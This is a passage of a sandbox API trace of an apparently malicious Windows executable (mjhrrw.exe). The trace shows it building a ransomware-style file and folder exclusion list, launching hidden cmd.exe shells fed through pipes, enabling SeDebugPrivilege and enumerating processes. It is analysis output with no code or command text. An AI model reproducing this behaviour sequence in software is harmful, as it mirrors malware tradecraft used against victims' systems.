hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1dc0 | out: hHeap=0x11a0000) returned 1 [0074.025] GetProcessHeap () returned 0x11a0000 [0074.025] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0a78 | out: hHeap=0x11a0000) returned 1 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1020 | out: hHeap=0x11a0000) returned 1 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1d08 | out: hHeap=0x11a0000) returned 1 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bf370 | out: hHeap=0x11a0000) returned 1 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bfef0 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0080 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11c01e8 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11af5f0 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11af5f0 | out: hHeap=0x11a0000) returned 1 [0074.026] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c0080, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c01e8 | out: hHeap=0x11a0000) returned 1 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfef0 | out: hHeap=0x11a0000) returned 1 [0074.026] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xeff954, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xeff954*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0080 | out: hHeap=0x11a0000) returned 1 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x28) returned 0x11b6e28 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0bb0 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.026] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x190) returned 0x11b1020 [0074.026] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x60) returned 0x11b1d08 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x5a) returned 0x11af800 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11af800, Size=0xb2) returned 0x11b1dc0 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x184) returned 0x11bf370 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0a78 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c0588 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x250) returned 0x11bdf78 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0xa0) returned 0x11ae140 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x96) returned 0x11af5f0 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x96) returned 0x11be1d0 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11be270 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be270 | out: hHeap=0x11a0000) returned 1 [0074.027] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt", lpDst=0x11af5f0, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt") returned 0x4b [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be1d0 | out: hHeap=0x11a0000) returned 1 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x70) returned 0x11af800 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x62) returned 0x11ae540 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x62) returned 0x11bf500 [0074.027] GetProcessHeap () returned 0x11a0000 [0074.027] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0074.028] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x11ae540, nSize=0x31 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bf500 | out: hHeap=0x11a0000) returned 1 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11ae540, Size=0xc2) returned 0x11be1d0 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0xc2) returned 0x11c7750 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0074.028] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x11be1d0, nSize=0x61 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c7750 | out: hHeap=0x11a0000) returned 1 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11af800 | out: hHeap=0x11a0000) returned 1 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c7750 [0074.028] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x11c7750, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c7750 | out: hHeap=0x11a0000) returned 1 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x182) returned 0x11c7750 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x24e) returned 0x11c78e0 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x98) returned 0x11ae140 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11ae140, Size=0xae) returned 0x11be2a0 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x6a) returned 0x11af800 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.028] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0588 | out: hHeap=0x11a0000) returned 1 [0074.028] GetProcessHeap () returned 0x11a0000 [0074.029] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bdf78 | out: hHeap=0x11a0000) returned 1 [0074.029] GetProcessHeap () returned 0x11a0000 [0074.029] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11af5f0 | out: hHeap=0x11a0000) returned 1 [0074.029] GetProcessHeap () returned 0x11a0000 [0074.029] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11be1d0 | out: hHeap=0x11a0000) returned 1 [0074.029] GetProcessHeap () returned 0x11a0000 [0074.029] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0bb0 | out: hHeap=0x11a0000) returned 1 [0074.029] GetProcessHeap () returned 0x11a0000 [0074.029] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1020 | out: hHeap=0x11a0000) returned 1 [0074.029] GetProcessHeap () returned 0x11a0000 [0074.029] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1d08 | out: hHeap=0x11a0000) returned 1 [0074.029] GetProcessHeap () returned 0x11a0000 [0074.029] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bf370 | out: hHeap=0x11a0000) returned 1 [0074.029] GetProcessHeap () returned 0x11a0000 [0074.029] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x14) returned 0x11b88b0 [0074.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba22ee, lpParameter=0x11b88b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204 [0074.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba239a, lpParameter=0xeff98c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248 [0074.030] GetProcessHeap () returned 0x11a0000 [0074.030] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x14) returned 0x11b87d0 [0074.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba2161, lpParameter=0x11b87d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0074.030] GetProcessHeap () returned 0x11a0000 [0074.031] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x14) returned 0x11b88f0 [0074.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba1a76, lpParameter=0x11b88f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268 [0074.031] GetProcessHeap () returned 0x11a0000 [0074.031] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x14) returned 0x11b88d0 [0074.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba1cc5, lpParameter=0x11b88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c [0074.032] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x10e0 Thread: id = 10 os_tid = 0xf8c [0074.042] GetProcessHeap () returned 0x11a0000 [0074.042] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c0198 [0074.042] GetProcessHeap () returned 0x11a0000 [0074.042] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x14) returned 0x11b8910 [0074.042] GetProcessHeap () returned 0x11a0000 [0074.043] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x14) returned 0x11b86f0 [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11af5f0 [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11af5f0 | out: hHeap=0x11a0000) returned 1 [0074.043] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x11b8910, nSize=0xa | out: lpDst="") returned 0x1c [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b86f0 | out: hHeap=0x11a0000) returned 1 [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b8910, Size=0x26) returned 0x11b7008 [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x26) returned 0x11b70c8 [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11af5f0 [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11af5f0 | out: hHeap=0x11a0000) returned 1 [0074.043] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x11b7008, nSize=0x13 | out: lpDst="") returned 0x1c [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b70c8 | out: hHeap=0x11a0000) returned 1 [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b7008, Size=0x4a) returned 0x11c4fa0 [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x4a) returned 0x11c5158 [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11af5f0 [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11af5f0 | out: hHeap=0x11a0000) returned 1 [0074.043] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x11c4fa0, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c5158 | out: hHeap=0x11a0000) returned 1 [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0198 | out: hHeap=0x11a0000) returned 1 [0074.043] GetProcessHeap () returned 0x11a0000 [0074.043] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x50) returned 0x11c5628 [0074.044] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0074.044] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0074.044] Wow64DisableWow64FsRedirection (in: OldValue=0x2b3fe74 | out: OldValue=0x2b3fe74*=0x0) returned 1 [0074.044] GetProcessHeap () returned 0x11a0000 [0074.044] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c5628 | out: hHeap=0x11a0000) returned 1 [0074.044] CreatePipe (in: hReadPipe=0x2b3fe68, hWritePipe=0x2b3fe64, lpPipeAttributes=0x2b3fe84, nSize=0x0 | out: hReadPipe=0x2b3fe68*=0x274, hWritePipe=0x2b3fe64*=0x278) returned 1 [0074.045] CreatePipe (in: hReadPipe=0x2b3fe6c, hWritePipe=0x2b3fe70, lpPipeAttributes=0x2b3fe84, nSize=0x0 | out: hReadPipe=0x2b3fe6c*=0x27c, hWritePipe=0x2b3fe70*=0x280) returned 1 [0074.045] SetHandleInformation (hObject=0x278, dwMask=0x1, dwFlags=0x0) returned 1 [0074.045] SetHandleInformation (hObject=0x27c, dwMask=0x1, dwFlags=0x0) returned 1 [0074.045] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2b3fea0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x274, hStdOutput=0x280, hStdError=0x280), lpProcessInformation=0x2b3fe90 | out: lpCommandLine=0x0, lpProcessInformation=0x2b3fe90*(hProcess=0x2b4, hThread=0x2b0, dwProcessId=0x704, dwThreadId=0x12cc)) returned 1 [0075.134] WriteFile (in: hFile=0x278, lpBuffer=0x11b2c80*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x2b3fe80, lpOverlapped=0x0 | out: lpBuffer=0x11b2c80*, lpNumberOfBytesWritten=0x2b3fe80*=0xc2, lpOverlapped=0x0) returned 1 [0075.134] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0xffffffff) Thread: id = 11 os_tid = 0x348 [0074.046] GetProcessHeap () returned 0x11a0000 [0074.046] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c0198 [0074.046] GetProcessHeap () returned 0x11a0000 [0074.046] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x14) returned 0x11b8910 [0074.046] GetProcessHeap () returned 0x11a0000 [0074.046] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x14) returned 0x11b86f0 [0074.046] GetProcessHeap () returned 0x11a0000 [0074.046] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11af5f0 [0074.046] GetProcessHeap () returned 0x11a0000 [0074.046] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11af5f0 | out: hHeap=0x11a0000) returned 1 [0074.046] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x11b8910, nSize=0xa | out: lpDst="") returned 0x1c [0074.046] GetProcessHeap () returned 0x11a0000 [0074.046] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b86f0 | out: hHeap=0x11a0000) returned 1 [0074.046] GetProcessHeap () returned 0x11a0000 [0074.046] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b8910, Size=0x26) returned 0x11b7038 [0074.046] GetProcessHeap () returned 0x11a0000 [0074.046] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x26) returned 0x11b70c8 [0074.046] GetProcessHeap () returned 0x11a0000 [0074.046] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11af5f0 [0074.046] GetProcessHeap () returned 0x11a0000 [0074.046] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11af5f0 | out: hHeap=0x11a0000) returned 1 [0074.047] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x11b7038, nSize=0x13 | out: lpDst="") returned 0x1c [0074.047] GetProcessHeap () returned 0x11a0000 [0074.047] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b70c8 | out: hHeap=0x11a0000) returned 1 [0074.047] GetProcessHeap () returned 0x11a0000 [0074.047] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b7038, Size=0x4a) returned 0x11c4ff8 [0074.047] GetProcessHeap () returned 0x11a0000 [0074.047] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x4a) returned 0x11c5158 [0074.047] GetProcessHeap () returned 0x11a0000 [0074.047] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11af5f0 [0074.047] GetProcessHeap () returned 0x11a0000 [0074.047] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11af5f0 | out: hHeap=0x11a0000) returned 1 [0074.047] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x11c4ff8, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0074.047] GetProcessHeap () returned 0x11a0000 [0074.047] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c5158 | out: hHeap=0x11a0000) returned 1 [0074.047] GetProcessHeap () returned 0x11a0000 [0074.047] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0198 | out: hHeap=0x11a0000) returned 1 [0074.047] GetProcessHeap () returned 0x11a0000 [0074.047] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x50) returned 0x11c5628 [0074.047] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0074.047] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0074.047] Wow64DisableWow64FsRedirection (in: OldValue=0x2c3fb6c | out: OldValue=0x2c3fb6c*=0x0) returned 1 [0074.047] GetProcessHeap () returned 0x11a0000 [0074.047] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c5628 | out: hHeap=0x11a0000) returned 1 [0074.047] CreatePipe (in: hReadPipe=0x2c3fb60, hWritePipe=0x2c3fb5c, lpPipeAttributes=0x2c3fb7c, nSize=0x0 | out: hReadPipe=0x2c3fb60*=0x284, hWritePipe=0x2c3fb5c*=0x288) returned 1 [0074.048] CreatePipe (in: hReadPipe=0x2c3fb64, hWritePipe=0x2c3fb68, lpPipeAttributes=0x2c3fb7c, nSize=0x0 | out: hReadPipe=0x2c3fb64*=0x28c, hWritePipe=0x2c3fb68*=0x290) returned 1 [0074.048] SetHandleInformation (hObject=0x288, dwMask=0x1, dwFlags=0x0) returned 1 [0074.048] SetHandleInformation (hObject=0x28c, dwMask=0x1, dwFlags=0x0) returned 1 [0074.048] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2c3fb98*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x284, hStdOutput=0x290, hStdError=0x290), lpProcessInformation=0x2c3fb88 | out: lpCommandLine=0x0, lpProcessInformation=0x2c3fb88*(hProcess=0x2e8, hThread=0x2e4, dwProcessId=0x1308, dwThreadId=0x130c)) returned 1 [0075.120] WriteFile (in: hFile=0x288, lpBuffer=0x11b1398*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2c3fb78, lpOverlapped=0x0 | out: lpBuffer=0x11b1398*, lpNumberOfBytesWritten=0x2c3fb78*=0x5b, lpOverlapped=0x0) returned 1 [0075.120] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) Thread: id = 12 os_tid = 0xf00 [0074.049] GetProcessHeap () returned 0x11a0000 [0074.049] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x440) returned 0x11cb048 [0074.049] GetProcessHeap () returned 0x11a0000 [0074.049] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x30) returned 0x11b3358 [0074.049] GetCurrentProcess () returned 0xffffffff [0074.049] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x2d3f8e8 | out: TokenHandle=0x2d3f8e8*=0x294) returned 1 [0074.049] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2d3f8e0 | out: lpLuid=0x2d3f8e0*(LowPart=0x14, HighPart=0)) returned 1 [0074.051] AdjustTokenPrivileges (in: TokenHandle=0x294, DisableAllPrivileges=0, NewState=0x2d3f8d0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0074.051] CloseHandle (hObject=0x294) returned 1 [0074.051] GetProcessHeap () returned 0x11a0000 [0074.051] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b3358 | out: hHeap=0x11a0000) returned 1 [0074.051] GetProcessHeap () returned 0x11a0000 [0074.051] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x434) returned 0x11cb490 [0074.051] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x294 [0074.061] Process32FirstW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.062] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0074.063] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0074.063] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.064] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0074.993] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.994] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, 